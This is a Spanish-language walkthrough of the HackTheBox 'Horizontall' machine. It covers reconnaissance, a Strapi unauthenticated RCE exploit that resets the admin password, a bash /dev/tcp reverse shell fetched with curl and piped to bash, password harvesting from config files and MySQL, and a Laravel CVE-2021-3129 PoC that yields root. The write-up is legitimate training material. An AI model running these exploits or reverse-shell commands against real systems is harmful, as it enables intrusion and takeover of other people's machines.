Horizontall HTB
Máquina Horizonrtall de HackTheBox [Dificultad fácil]
Reconocimiento
Comenzamos con un escaneo completo de nmap
para sacar los puertos corriendo y las versiones de estos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
nmap -sSCV --min-rate=5000 -Pn -n -p- 10.10.11.105 -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-30 15:26 CEST
Warning: 10.10.11.105 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.105
Host is up (0.084s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.53 seconds
Nmap nos reporta los puertos 22 y 80. En la web se esta aplicando Virtual Hosting por lo que añado el dominio al /etc/hosts para me redirija:
Tenemos las siguiente web
Con
gobuster
y ffuf
de primeras no encontré nada por lo que mirando la devtool del navegador veo que se esta haciendo una petición a una .js:
Tenemos lo siguiente:
Con esta herramienta web pongo el código legible y veo que existe un dominio:
Lo añado al /etc/hosts para que me resuelva:
Para este nuevo dominio ejecuto gobuster
y me reporta lo siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,php3,js
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://api-prod.horizontall.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,php3,js
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/reviews (Status: 200) [Size: 507]
/users (Status: 403) [Size: 60]
/admin (Status: 200) [Size: 854]
/Reviews (Status: 200) [Size: 507]
/robots.txt (Status: 200) [Size: 121]
Tenemos una lista de usuarios:
En /admin tenemos un Login y vemos que se esta usando Strapi CMS:
Explotación
Buscamos exploits para Strapi y como solo hay para una versión, podemos probar:
1
2
3
4
5
6
7
8
9
10
searchsploit strapi
------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------- ---------------------------------
Strapi 3.0.0-beta - Set Password (Unauthenticated) | multiple/webapps/50237.py
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticate | multiple/webapps/50238.py
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthen | multiple/webapps/50239.py
Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metas | nodejs/webapps/50716.rb
------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
1
2
3
4
5
6
7
8
9
10
11
12
❯ searchsploit -m multiple/webapps/50239.py
Exploit: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)
URL: https://www.exploit-db.com/exploits/50239
Path: /usr/share/exploitdb/exploits/multiple/webapps/50239.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/juan/Desktop/Maquinas/HTB/Horizontal/exploits/50239.py
❯ ls
50239.py
Ejecutamos el exploit y funciona, podemos ejecutar código pero a ciegas:
1
2
3
4
5
6
7
8
9
10
11
python3 50239.py http://api-prod.horizontall.htb
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit
[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQzMzQ0MTU1LCJleHAiOjE3NDU5MzYxNTV9.ZUIz5bw_IDIjlxL5J0MteEx7UMUrg-nSWYk-UdSTWqk
Confirmamos que la ejecución funciona:
En mi caso, no me dejaba hacerlo /bin/bash -i >& /dev/tcp/10.10.14.4/4444 0>&1
por lo que me monto un servidor con pyhton
donde tengo el siguiente archivo.
1
2
/usr/bin/cat bash.sh
/bin/bash -i >& /dev/tcp/10.10.14.4/4444 0>&1
Me pongo a la escucha a la par con netcat
y ejecuto:
1
curl http://10.10.14.4/bash.sh |bash
Escalada
Una vez dentro estamos como el usuario strapi y tenemos los siguientes usuarios:
1
2
3
strapi@horizontall:~/myapi$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:hackthebox:/home/developer:/bin/bash
Viendo con ss
tenemos los siguientes puertos corriendo en local:
1
2
3
4
5
6
7
8
9
strapi@horizontall:/$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:1337 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:8000 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 128 [::]:80
Empiezo con mysql
para ver si puedo sacar la credencial del usuario developer, por ello en el directorio home de strapi que esta en /opt busco por contraseñas y encuentro una:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
trapi@horizontall:/opt$ cd strapi/
strapi@horizontall:~$ ls
myapi
strapi@horizontall:~$ cd myapi/
strapi@horizontall:~/myapi$ ls
api build config extensions favicon.ico node_modules package.json package-lock.json public README.md
strapi@horizontall:~/myapi$ cd config/
strapi@horizontall:~/myapi/config$ ls
application.json custom.json environments functions hook.json language.json locales middleware.json
strapi@horizontall:~/myapi/config$ grep -r "pass*" 2> /dev/nul
bash: /dev/nul: Permission denied
strapi@horizontall:~/myapi/config$ grep -r "pass*" 2> /dev/null
environments/production/database.json: "password": "${process.env.DATABASE_PASSWORD || ''}",
environments/development/database.json: "password": "#J!:F9Zt2u"
environments/staging/database.json: "password": "${process.env.DATABASE_PASSWORD || ''}",
Pruebo mysql con esa contraseña y usando el usuario developer y estoy dentro:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
strapi@horizontall:~/myapi/config$ mysql -u developer -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 30
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
Ver bases de datos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| strapi |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> use strapi
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
Usar tabla
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> show tables;
+------------------------------+
| Tables_in_strapi |
+------------------------------+
| core_store |
| reviews |
| strapi_administrator |
| upload_file |
| upload_file_morph |
| users-permissions_permission |
| users-permissions_role |
| users-permissions_user |
+------------------------------+
8 rows in set (0.00 sec)
Describir tabla
1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> describe strapi_administrator
-> ;
+--------------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+--------------------+--------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| username | varchar(255) | NO | MUL | NULL | |
| email | varchar(255) | NO | | NULL | |
| password | varchar(255) | NO | | NULL | |
| resetPasswordToken | varchar(255) | YES | | NULL | |
| blocked | tinyint(1) | YES | | NULL | |
+--------------------+--------------+------+-----+---------+----------------+
6 rows in set (0.00 sec)
Sacar datos
1
2
3
4
5
6
7
mysql> select username, password from strapi_administrator;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2a$10$TPkuGtxhj8D3bmLsy.LQ7.RkLRjErh89O/MS1H6pbtX3zM6z8BIsq |
+----------+--------------------------------------------------------------+
1 row in set (0.00 sec)
[Note] Aquí intento crackear la contraseña pero la escalada va por otro caminso
Viendo el otro puerto vemos que tenemos la página de antes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
trapi@horizontall:~/myapi/config$ curl 127.0.0.1:1337
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<title>Welcome to your API</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style>
</style>
</head>
<body lang="en">
<section>
<div class="wrapper">
<h1>Welcome.</h1>
</div>
</section>
</body>
</html>
En cambio, con el puerto 8000 tenemos la siguiente página con un Laravel corriendo
1
2
3
4
5
6
7
8
9
10
curl 127.0.0.1:8000
.....
<div class="ml-4 text-center text-sm text-gray-500 sm:text-right sm:ml-0">
Laravel v8 (PHP v7.4.18)
</div>
</div>
</div>
</div>
</body>
</html>
Por lo que tenemos que hacer Port Forwarding por lo que genero un par de claves para hacerlo por ssh:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
strapi@horizontall:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/opt/strapi/.ssh/id_rsa): strapi
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in strapi.
Your public key has been saved in strapi.pub.
The key fingerprint is:
SHA256:tuBMOUz4OdpNy6X3hXK46+XNcKDlmQpDRqw6xPL7rMQ strapi@horizontall
The key's randomart image is:
+---[RSA 2048]----+
| |
| . . |
| . . o |
| . + = |
| . o @ S . o |
| = B @ = = = |
| E + O = O o |
| . + + O * |
| ooo .=.o o |
+----[SHA256]-----+
strapi@horizontall:~/myapi$
1
2
strapi@horizontall:~$ ls
strapi strapi.pub
Las establezco:
1
2
3
strapi@horizontall:~$ mkdir .ssh
strapi@horizontall:~$ mv strapi strapi.pub .ssh/
strapi@horizontall:~/.ssh$ cp strapi.pub authorized_keys
Ahora podemos hacer Port Forwarding correctamente:
1
❯ ssh -i strapi -L 8000:localhost:8000 strapi@horizontall.htb
Tenemos esta página por el puerto 8000:
Aplicamos gobuster
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gobuster dir -u http://127.0.0.1:8000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://127.0.0.1:8000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/profiles (Status: 500) [Size: 616204]
Me detecta el directorio profiles/:
Buscando encontré que Laravel Debug es vulnerable a RCE por lo que pruebo con este POC de github:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
❯ git clone https://github.com/nth347/CVE-2021-3129_exploit.git
Cloning into 'CVE-2021-3129_exploit'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 9 (delta 1), reused 3 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (1/1), done.
❯ cd CVE-2021-3129_exploit
❯ ls
exploit.py README.md
❯ chmod +x exploit.py
❯ ./exploit.py http://localhost:8000 Monolog/RCE1 id
/home/juan/Desktop/Maquinas/HTB/Horizontal/exploits/CVE-2021-3129_exploit/./exploit.py:77: SyntaxWarning: invalid escape sequence '\s'
result = re.sub("{[\s\S]*}", "", response.text)
[i] Trying to clear logs
[+] Logs cleared
[i] PHPGGC not found. Cloning it
Cloning into 'phpggc'...
remote: Enumerating objects: 4658, done.
remote: Counting objects: 100% (902/902), done.
remote: Compressing objects: 100% (331/331), done.
remote: Total 4658 (delta 665), reused 586 (delta 567), pack-reused 3756 (from 2)
Receiving objects: 100% (4658/4658), 682.00 KiB | 1.03 MiB/s, done.
Resolving deltas: 100% (2131/2131), done.
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited
uid=0(root) gid=0(root) groups=0(root)
[i] Trying to clear logs
[+] Logs cleared